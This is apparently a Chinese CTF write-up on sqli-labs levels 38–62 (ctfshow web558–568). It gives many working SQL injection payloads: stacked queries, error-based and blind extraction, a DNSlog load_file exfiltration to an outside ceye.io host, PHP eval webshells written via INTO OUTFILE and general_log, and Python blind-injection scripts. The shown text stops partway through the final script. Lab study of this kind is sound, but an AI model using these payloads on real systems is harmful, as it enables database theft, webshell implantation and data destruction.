查看源码,过滤函数是mysql_real_escape_string()

image-20230728144301131

payload:

uname=-1%ef' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
或者
uname=-1�' and 1=2 union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit
  • 1
  • 2
  • 3

注:hackbar发包不用带submit=Submit,这个自动会加。

image-20230728144431663

Sqli-labs 38关 (web558)

开启堆叠注入了

image-20230728144834614

??????联合注入直接出了。。。。。

?id=-1' and 1=2 union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+
  • 1

虽然没有一点过滤,那还是用堆叠试试吧,学点新知识。


什么是堆叠注入?

用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select * from users ; creat/drop table xxxx like users ;这个指令就是在查询users的同时再创建一个名为xxxx的表


堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除


来源:https://www.jianshu.com/p/36f0772f5ce8
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

局限性:

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
  3. 使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。

补充:

mysql中点引号( ’ )和反引号( ` )的区别

mysql中 , linux下不区分,windows下区分

区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反引号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

image-20230728162844271


首先判断能否堆叠注入,show个库(回显所有的库)看看。

?id=-1';select 1,2,(show databases);-- +              【没成功】

向数据表插入id、账号、密码
?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +
  • 1
  • 2
  • 3
  • 4

然后输入?id=17就可以查询到我刚刚新建的数据。

image-20230728162310683


看国光大佬的博客,这里还能用DNSlog外带配合堆叠注入

?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
  • 1

Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。


看国光大佬的博客,这里也能用开启日志 Getshell配合堆叠注入。

需要条件:

  1. Web 的物理路径
  2. MySQL 可以读写 Web 目录
  3. Windows 成功率 高于 Linux

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

ctfshow中暂时没复现出来。【打个点,有空本地慢慢复现】


我们要获取flag的话,可以直接把存flag的表改名成users,因为题目服务器内查询语句查的是users表,那样我们就能直接通过?id=1查出flag了。

?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
  • 1

image-20230728182128359


我想,我们要获取flag的话,参考前面,也可以插入数据,数据内容为select查到的flag。但是没有成功。【有疑惑】

?id=-1';insert into users(id,username,password) values (77,(select group_concat(flag4s) from ctfshow.flags),"don77")-- +
  • 1

那就本地测试一下。

1、测试得出,insert插入数据,无法覆盖,只能新建,比如说上面的payload,如果id=77已有内容,那么无法插入,会报错Duplicate entry '77' for key 'PRIMARY'(为键’PRIMARY’重复条目’77’)

2、我在user表执行insert into user(id,username,password) values (77,(select username from user where id=3),"don77");时,不会成功,因为不能from同一个表user。报错You can't specify target table 'user' for update in FROM clause(不能在FROM子句中指定更新的目标表user)

3、在以上两个错误之外,本地尝试payloadinsert into user(id,username,password) values (777,(select username from biaoone where id=2),"don77");可以成功。

image-20230728170544024

4、回归最早的疑问payload,我们在本地构造语句insert into user(id,username,password) values (7777,(select group_concat(username) from biaoone),"don7777");insert into user(id,username,password) values (77777,(select group_concat(username) from xxx.biaoone),"don77777");,都可以成功新建数据!!!!!!

image-20230728171312176

5、回到题目,尝试?id=-1';insert into users(id,username,password) values (7777,(select database()),"don77")-- +,发现可以新建数据。

image-20230728171627126

6、和群主讨论了许久,最后发现,我payload没错。。。。。

因为这是直接插入数据,flag会写入字段里面。列长度不够,需要分段截取。数据库列长度不一定满足回显长度需求。所以遇到这种情况,最好截取试试。

修改一下payload?id=-1';insert into users(id,username,password) values (77,(select SUBSTRING(group_concat(flag4s),1,5) from ctfshow.flags),"don77")-- +,慢慢截取。

image-20230728175916017

Sqli-labs 39关 (web559)

和上一题一样,就是变成了数字型,不需要闭合。

payload:

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
  • 1

image-20230728183208775

Sqli-labs 40关 (web560)

image-20230728183457572

先测试一下闭合

?id=1               回显Dumb
?id=1'-- +          无回显
?id=1-- +           回显Dumb
?id=1"-- +          回显Dumb
?id=1''''''-- +     回显Dumb

?id=11#1            回显admin3,说明注释符都能用
?id=11--+1          回显admin3

?id=-1' union select 1,2,3--+
?id=-1" union select 1,2,3--+
?id=-1') union select 1,2,3--+


说明闭合是'),无报错信息
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

payload:

?id=1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +
  • 1

image-20230728185157733

Sqli-labs 41关 (web561)

详细比对源码,和第39关(web559)唯一区别就是没有了报错信息。

payload:

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;
  • 1

image-20230728185302356

Sqli-labs 42关 (web562)

页面够真实。 forgot your password?New User click here?都提示我直接hack,没用正常忘记密码和创建账号的功能。

image-20230728233712719

抓个包测试一下。

image-20230728234032361

login_user=1'&login_password=1'                      报错near ''1''' at line 1
login_user=1'--+&login_password=1'--+                不报错

所以闭合是单引号
  • 1
  • 2
  • 3
  • 4
create_user=admin&create_password=111&mysubmit=create
报错Undefined index: login_user in <b>/var/www/html/login.php
说明想错了,这样不能创建用户。
  • 1
  • 2
  • 3

**方法一:**首先这题有报错,那就可以报错注入。

login_user=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&login_password=1'--+&mysubmit=Login
  • 1

不行,估计username有过滤。数据库没有使用gbk编码不能使用宽字节注入。

payload:

login_user=1'--+&login_password=1000'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login
  • 1

image-20230728234918875

ctfshow{b9d4482b-9d86-4f90-8457-aef887775a37}

方法二:

联合注入

login_user=1'--+&login_password=-1'union select 1,(select group_concat(flag4s)from(ctfshow.flags)),3-- +&mysubmit=Login
  • 1

无效,无回显

方法三:

堆叠注入

login_user=1'--+&login_password=-1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;-- +&mysubmit=Login
  • 1

image-20230728235822915

堆叠注入有效,但是得不到flag。

重开环境

换一种堆叠方式:

login_user=1'--+&login_password=1'; show databasea;-- +&mysubmit=Login
  • 1

不会回显数据库。无法得到flag。

方法四:

时间盲注/布尔盲注

Sqli-labs 43关 (web563)

这题就是闭合用 '),其他都一样。

payload:

login_user=1')--+&login_password=1000')or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))--+&mysubmit=Login
  • 1

image-20230729000848578

ctfshow{6522706a-b7bf-4f06-9f07-ad8a842f1b51}

Sqli-labs 44关

这关没有ctfshow的靶场了,直接本地开做。

image-20230729002331813

一开始抓不到包,发现是IP的问题,注意看包里的HOST。

image-20230729003937658

打开cmd,输入ipconfig,cv自己的无线局域网IPV4。

image-20230729004148730

这样就能抓到包了
image-20230729005211741

因为127.0.0.1不抓包,所以抓不到包。基本上所有的代理,都有默认的不代理地址。

image-20230802161700995

这关和42关一样,就是没有报错信息。

image-20230729005409764

我们尝试布尔盲注。

可以看见,username设置为万能密码,如果passwd判断为真,就不会出现图片。

image-20230729010253551

image-20230729010239839

对应的修改一下脚本,发包。

#author:yu22x  improve by jay17
import requests
import string
import base64


url="http://172.18.38.125:1470/Less-44/login.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):
    print(i)
    for j in range(32,128):

        # 跑库名
        s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"

        # 跑表名
        #s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{i},1))/**/like/**/{j},1,0)#"

        # 跑列名
        #s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{i},1))/**/like/**/{j},1,0)#"

        #######################
        #s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(flag)/**/frOm/**/flag),{i},1))/**/like/**/{j},1,0)#"



        #sre = s[::-1]   #逆序
        #sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8")   #base64


        #data={
        #    'id':s,
        #}


        data={
            "login_user":"1\'--+",
            "login_password":s,
            "mysubmit":"Login"
        }

        r=requests.post(url,data=data)
        #print(r.text)
        if "/images/slap1.jpg" not in r.text:        #注意这里是【not in】
            flag+=chr(j)
            print(flag)
            break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

就跑个库名吧,算通关了。

image-20230729010852561

Sqli-labs 45关

和44关区别就在于,闭合变成了')。同样没有报错信息。

直接跑布尔盲注脚本

image-20230729010912927

Sqli-labs 46关 (web564)

提示变了,提示我们input parameter as SORT with numeric value(以数字形式输入(sort)排序参数)

image-20230729103245992

试了一下确实如此,而且是数字型,不用闭合。

image-20230729103559680

是一种新类型注入,更着国光师傅的wp,验证一下。

一、升序和降序验证:

在数据库中,desc是表示降序排列,asc表示升序排列(默认升序)

# 升序排序
?sort=1 asc

# 降序排序
?sort=1 dasc
  • 1
  • 2
  • 3
  • 4
  • 5

二、rand()验证:

rand():生产0-1的随机数;括号里可以填种子,它就会按种子的规律生产数。

rand (ture) 和 rand (false) 的结果是不一样的

?sort=rand(true)
?sort=rand(false)
  • 1
  • 2

三、延时验证:

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
  • 1
  • 2
  • 3

看看源码。

image-20230729104105439

可以看到数据库语句变为了SELECT * FROM users ORDER BY $id

在数据库中,desc是表示降序排列,asc表示升序排列(默认升序)

上面的数据库语句也可以看作SELECT * FROM users ORDER BY $id asc

这个就是按照第$id列的数值进行升序排列。

                        排序注入
 
源码:	$sql = "SELECT * FROM users ORDER BY $id";
 
select使用文档:https://dev.mysql.com/doc/refman/8.0/en/select.html
 
分析:不同于 where 查询后可以用 union select 注入,可见order by后面不能使用联合查询,可以使用    
     limit,into outfile等语句,还可以跟数字等。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

方法一:报错注入

可以拼接报错语句。

?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
  • 1

也可以直接注入报错注入语句。

?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))-- +
  • 1

image-20230729105515808

ctfshow{7c933c76-fd43-47fd-83ec-f6b526b916c4}

此外,利用 procedure analyse 参数,也可以执行报错注入。

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(flag4s)from(ctfshow.flags)),0x7e))),1)
  • 1

方法二:盲注

直接注行得通

?sort=3 and if((length(database())=8),1,sleep(5))--+
  • 1

也可以利用上文提到的rand来盲注。

?sort=rand(left(database(),1)>'r')
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
  • 1
  • 2

方法三:写入文件

?sort=1 into outfile "/var/www/html/x.txt"
  • 1

结果验证,我们有写入文件的权限。

image-20230730002426963

同理,那我们可以写入shell到文件。


写入webshell条件:

1.MYSQL用secure_file_priv这个配置项来完成对数据导入导出的限制,
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。
如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出
如果secure_file_priv=“” ,MYSQL服务导入和导出不做限制
通过命令查看secure-file-priv的当前值,确定是否允许导入导出以及导出文件路径
2.MYSQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行select into outfile操作
3.当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到

(来自SQL注入写入webshell_番茄酱料的博客-CSDN博客


写入shell方式汇总(与题目无关,知识补充):

1.union select写入

1' union select 1,"<?php @eval($_POST['cmd'])?>" into outfile '/var/www/html/x.php' -- +
  • 1

2.lines terminated by写入

当mysql注入点为盲注、报错或排序,Union select写入是不能利用的,那么可以通过分隔符写入,SQLMAP的–os-shell命令,所采用的就是这种方式。

利用lines terminated by语句进行拼接,可以理解成以每行结尾的位置添加xx语句

?sort=1' into outfile "/var/www/html/x.php" lines terminated by '<?php phpinfo(); ?>'--+
  • 1

3.lines starting by写入

1’ into outfile ‘E:\phpStudy\PHPTutorial\WWW\DVWA-master\123.php’ lines starting by ‘<?php phpinfo() ?>’–

?sort=1' into outfile "/var/www/html/x.php" lines starting by '<?php phpinfo(); ?>'--+
  • 1

利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句

4.fields terminated by写入

?sort=1' into outfile "/var/www/html/x.php" fields terminated by  '<?php phpinfo(); ?>'--+
  • 1

利用fields terminated by语句进行拼接,拼接后面的webshell内容,fields terminated by可以理解为以每个字段的位置添加xx内容

5.COLUMNS terminated by写入

?sort=1' into outfile "/var/www/html/x.php" COLUMNS terminated by  '<?php phpinfo(); ?>'--+
  • 1

利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容

6.利用log写入

新版本的MYSQL设置了导出文件的路径,很难在获取webshell过程中去修改配置的文件,无法通过使用select into outfile来写入一句话,这时我们可以通过修改MYSQL的log文件来获取Webshell

条件:数据库用户需具备Super和File服务器的权限、需要获取物理路径

show variables like '%general%';                        #查看配置
set global general_log = on;                            #开启general log模式
set global general_log_file = 'E:/phpStudy/PHPTutorial/WWW/DVWA-master/evil.php';    #设置日志目录为shell地址
select '<?php phpinfo() ?>'                     #写入shell
set global general_log=off;                             #关闭general log模式
  • 1
  • 2
  • 3
  • 4
  • 5

解题就跟着国光大师傅选择第二种,lines terminated by写入。

lines terminated by 姿势用于order by的情况来 getsgell

**lines-terminated-by:**指定行结束符,默认值就是换行符。

0x3c706870206576616c28245f504f53545b785d293b3e 是 <php eval($_POST[x]);> 的十六进制编码。

?sort=1 into outfile "/var/www/html/xx.php" lines terminated by 0x3c706870206576616c28245f504f53545b785d293b3e
  • 1

image-20230730011929997

写入成功,但是这里其实应该写入phpinfo的,SQL不区分大小写,shell的POST都是小写应该无效了。不过flag应该也不在这里,在数据库里面唉。

image-20230730012139680

附上国光大佬的博客。

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

Sqli-labs 47关 (web565)

image-20230730013931562

和46关一样,但是是字符型,闭合是单引号'

payload:

?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
  • 1

image-20230730013945044

ctfshow{6a497933-6d3c-4d54-b871-5d25177d8c1f}

Sqli-labs 48关 (web566)

还是47关的页面,测试一下。

?sort=1                         #回显排序结果
?sort=1--+                      #回显排序结果
?sort=1'--+                     #无回显,不报错
?sort=1')--+                    #无回显,不报错
?sort=1"--+                     #无回显,不报错
?sort=1")--+                    #无回显,不报错
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

暂且认定这题是数字型,不用闭合。这关应该是48关,去掉了报错。

尝试写入phpinfo到文件

?sort=1 into outfile "/var/www/html/x1.php" lines terminated by '<?php phpinfo(); ?>'
  • 1

可行,有权限。

image-20230730171802907

但是flag不在phpinfo里面。

image-20230730171911009

尝试写入shell到文件

?sort=1 into outfile "/var/www/html/x2.php" lines terminated by '<?php eval($_POST[x]); ?>'
  • 1

可行,但是也找不到flag。

image-20230730172116433

flag应该在数据库里面,尝试蚁剑链接shell。

查询数据库密码:system("tac ./api/config.php");

这里并没有抓到数据库密码,蚁剑里面自己找了。

/var/www/html/sql-connections/db-creds.inc
  • 1

image-20230730173204503

蚁剑首页->右键数据操作->添加

image-20230730173226533

直接能得到flag

image-20230730173300772

ctfshow{4b8ca2a8-ab2e-442e-bbf2-01b17ef82dba}

这里盲注(时间/布尔)也都可行,不再演示了。

Sqli-labs 49关

和48关一样,变成了字符型,闭合是单引号'。show上面没环境,本地打。

Sqli-labs 50关 (web567)

image-20230730173925653

和46关(web564)一样。

payload:

?sort=1 AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
  • 1

image-20230730174019818

ctfshow{8feba2f1-37df-4646-93ad-6415b146ee58}

查看源码,发现使用了mysqli_multi_query()函数。

查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,参考38关(web558),所以还比46关多了一种方式。

image-20230730174212413

payload:

?sort=-1;insert into users(id,username,password) values ('17','Jay','I love 36D too')
  • 1

image-20230730174837199

Sqli-labs 51关 (web568)

和50关(web567)相比,变成了字符型,闭合是单引号'

payload:

?sort=1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))-- +
  • 1

image-20230730175209847

ctfshow{cfb6bc42-c5fb-476c-abe2-b7ac439926f0}

至此,CTFshow上的sqlilabs结束力,剩下的就开始本地打了。

Sqli-labs 52关

和50关是一样的,但是没有报错。

image-20230801192945869

payload:

?sort=-1;insert into users(id,username,password) values ('17',(select database()),'I love 36D too')
  • 1

注意,写入字段有长度限制,一点一点读数据咯。

image-20230801193028216

此外,时间和布尔盲注也是可行的。

Sqli-labs 53关

同52,是字符型,闭合是单引号'

image-20230801193525271

Sqli-labs 54关

和之前大不相同。

image-20230801193711906

前期探索:

题目要求我们传参id,尝试一下。

有次数限制,最多10次。要不然就得重开了。

image-20230801195417586

key输入框随便输入一个数字之后,hackbar抓包(load)。

输入框是POST提交answer_key=Submit&key=1111

image-20230801193805775

总结一下就是让我们在 10 次注入测试中拿到 key 值。后期测试发现,每次到了10次,随机表名/列名都会改变。

测试闭合:

?id=1      回显DUMB的账号密码
?id=1'     无回显,不显示报错
?id=1"     回显DUMB的账号密码
?id=1"'    无回显,不显示报错
?id=1' or 1=1       无回显,不显示报错
?id=1" or 1=1       回显DUMB的账号密码
?id=1' or 1=1--+    回显DUMB的账号密码
?id=1" or 1=1--+    回显DUMB的账号密码
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

由此看来,有了不恰当的单引号会影响闭合导致报错(不显示),所以闭合应该是单引号'

测试回显位:

?id=-1'  union select 1,2,3--+    有回显,其他都无回显
  • 1

由此看来,回显位是3。

爆库:

?id=-1'  union select 1,2,group_concat(schema_name) from information_schema.schemata--+
  • 1

image-20230801202022250

爆表:

?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges'--+
  • 1

image-20230801202226963

爆列:

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='随机表名'--+
  • 1

image-20230801202645045

爆字段:

?id=1' and 1=2 union select 1,2,group_concat(随机列名如secret_CLG5) from challenges.随机表名--+
  • 1

image-20230801202805373

提交KEY

image-20230801202828948


做后分析源码:

<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
/*没提交key就进入if,提交了就进入else*/
if(!isset($_POST['answer_key']))
{
	// resetting the challenge and repopulating the table .
	if(isset($_POST['reset']))/*重开按钮,点击就发送POST:reset=Reset+the+Challenge%21*/
	{
        /*根据时间戳生成 cookie*/
		setcookie('challenge', ' ', time() - 3600000);
		echo "<font size=4>You have reset the Challenge</font><br>\n";
		echo "Redirecting you to main challenge page..........\n";
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
		//echo "cookie expired";
			
	}
	else/*设置Cookie*/
	{
		// Checking the cookie on the page and populate the table with random value.
		if(isset($_COOKIE['challenge']))
		{
			$sessid=$_COOKIE['challenge'];
			//echo "Cookie value: ".$sessid;
		}
		else
		{
			$expire = time()+60*60*24*30;
			$hash = data($table,$col);
			setcookie("challenge", $hash, $expire);
			
		}
	
		echo "<br>\n";
	
		// take the variables
		if(isset($_GET['id']))
		{
			$id=$_GET['id'];
	
			//logging the connection parameters to a file for analysis.
            /*所有我提交的id都记录在result.txt中*/
			$fp=fopen('result.txt','a');
			fwrite($fp,'ID:'.$id."\n");
			fclose($fp);
	
			
			//update the counter in database
			next_tryy();/*尝试的次数写入数据库*/
			
			//Display attempts on screen.
			$tryyy = view_attempts();/*从数据库中读取尝试的次数*/
			echo "You have made : ". $tryyy ." of $times attempts";/*$times=10,最多十次*/
			echo "<br><br><br>\n";
		
			
			//Reset the Database if you exceed allowed attempts.
			if($tryyy >= ($times+1))
			{
				setcookie('challenge', ' ', time() - 3600000);
				echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
				echo "Redirecting you to challenge page..........\n";
				header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
				echo "<br>\n";
			}	
		
		
		
			// Querry DB to get the correct output
			$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
			$result=mysql_query($sql);
			$row = mysql_fetch_array($result);

			if($row)
			{
				echo '<font color= "#00FFFF">';	
				echo 'Your Login name:'. $row['username'];
				echo "<br>";
				echo 'Your Password:' .$row['password'];
				echo "</font>";
			}
			else 
			{
				echo '<font color= "#FFFF00">';
//				print_r(mysql_error());
				echo "</font>";  
			}
		}
		else
		{
			echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
			echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
			echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
		}
	
	}
	

?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else/*提交了key后进入,判断key是否真*/
{
	echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
	$key = addslashes($_POST['key']);
	$key = mysql_real_escape_string($key);
	//echo $key;
	//Query table to verify your result
	$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
	//echo "$sql";
	$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());
	 
	$row = mysql_fetch_array($result);
	
	if($row)
	{
		echo '<font color= "#FFFF00">';
		echo "\n<br><br><br>";
		echo '<img src="../images/Less-54-1.jpg" />';
		echo "</font>"; 
		header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );	
	}
	else 
	{
		echo '<font color= "#FFFF00">';
		echo "\n<br><br><br>";
		echo '<img src="../images/slap1.jpg" />';
		header( "refresh:3;url=index.php" );
		//print_r(mysql_error());
		echo "</font>";  
			}	


}

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161

我受益最多的是作者记录单次(不重开)尝试次数的方法,居然是从数据库写入/读出。

image-20230801211845082

image-20230801212505712

image-20230801212547344

下图是这两个函数在源文件中的位置。在主要关卡代码中有文件包含方式注册(导入)。

image-20230801212615688

算是学了一点点开发吧哈哈哈哈。

Sqli-labs 55关

和54关一样,闭合变成了括号)

image-20230801212324905

Sqli-labs 56关

和54关一样,闭合变成了单引号+括号')

image-20230801212339665

Sqli-labs 57关

和54关一样,闭合变成了双引号"

image-20230801212351472

Sqli-labs 58关

测出闭合是单引号',位数是3。

但是这里联合注入用不了。

image-20230802230829240

【分析源码】

可以看见,这里的逻辑是先查询,根据查询返回用户名结果去储存用户名的数组里面找密码(密码就是用户名数组的逆序)。所以这里联合注入无效了,联合注入注入出东西用户名数组里面没有,就没有返回值。

image-20230802231121321

继续往下看,发现开启了报错,所以我们可以用报错注入。

image-20230802231502086

源码中查询语句基于select,这里报错注入的语句也得基于select


爆库:

可行的payload:

?id=1' and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1,20),3) --+ 
  • 1

或者

?id=-1' AND EXTRACTVALUE(1,(CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()),0x7e))) --%20--+
  • 1

或者

?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))))--+
  • 1

image-20230802232046373


爆表:

?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))) --+
  • 1

image-20230802232426261


爆列:

?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rngu5stzlt'))))--+
  • 1

image-20230802232544299


爆字段:

?id=-1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(secret_EEB0) from challenges.rngu5stzlt)))) --+
  • 1

image-20230802232558006


结束

image-20230802232620865


同时,这里也可以采用盲注。

?id=1' and if(ord(mid(database(),1,1))>65,1,0)--+       //布尔盲注,回显Angelina,dhakkan即是真

?id=1' and if((ascii(substr(database(),1,1))>888),1,sleep(3))--+
//时间盲注,睡了三秒就是不满足条件。
  • 1
  • 2
  • 3
  • 4

Sqli-labs 59关

和58关一样,但是是数字型,无闭合。

image-20230803123059101

Sqli-labs 60关

和58关一样,闭合变成了双引号加括号")

image-20230803123113380

Sqli-labs 61关

和58关一样,闭合变成了单引号加两个括号'))

image-20230803123130415

Sqli-labs 62关

这关开始没有报错信息了。闭合是单引号加括号')'。给了130次尝试机会。

image-20230803125210565

方法一:布尔盲注

payload样例:

?id=1' and if(ord(mid(database(),1,1))>65,1,0)--+       //布尔盲注,回显Angelina,dhakkan即是真
  • 1

脚本:

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://192.168.3.51:1470/Less-62/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
